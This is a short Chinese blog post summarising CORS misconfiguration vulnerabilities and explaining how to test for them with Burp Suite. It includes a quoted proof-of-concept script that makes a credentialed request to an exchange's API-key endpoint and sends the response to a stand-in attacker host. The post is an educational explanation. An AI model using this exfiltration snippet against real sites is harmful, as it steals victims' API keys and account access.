CORS小总结
CORS小总结
今天偶然知道了有这么一种漏洞,遂在网上找了一些文章了解了一下,顺便做一下总结。
这个漏洞跟同源策略有关,同源策略限制了不同协议、域名、端口的访问。但是因为现在有些网站需要实现一些跨域的功能,所以CORS(跨域资源共享)就这么诞生了。
CORS是为了告诉浏览器,哪些来源的服务器可以访问、读写本站的资源,但是如果来源不受任何限制,就造成了漏洞的产生。
下面以国外大佬的文章作为案例讲解。附上地址和POC:https://xz.aliyun.com/t/2702。
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://btc-exchange/api/requestApiKey',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//atttacker.net/log?key='+this.responseText;
};
这里面的某交易所未对origin进行白名单过滤。导致攻击者将POC放在自己的服务器上的某个页面,诱使受害者点开,受害者点开后,请求了交易所的接口,拿到了api秘钥,然后发回到攻击者的服务器。
这个过程中,问题在于,受害者点开了攻击者的html、请求交易所接口的时候,这个请求是带有 origin: xxxx的,交易所没有验证请求的来源。
如何查找这个漏洞呢?
附上:https://www.freebuf.com/column/194652.html
在burpsuite的proxy模块中的Options,选项,找到Match and Replace这一栏,勾选Request header 将空替换为Origin:foo.example.org的Enable框。
再接着对某些关键的功能点的请求进行收集就好了,不关键的(如读取一些公开的数据)就没必要做了。这种漏洞跟csrf还是很相似的,同样的csrf也可以通过验证origin进行防御,但是效果会差一些。
结语:学习之路漫漫,今天是情人节,本菜鸡却躲在宿舍写总结。扎心了老铁~~~~~接下来会对近期总结的csrf再写一篇总结。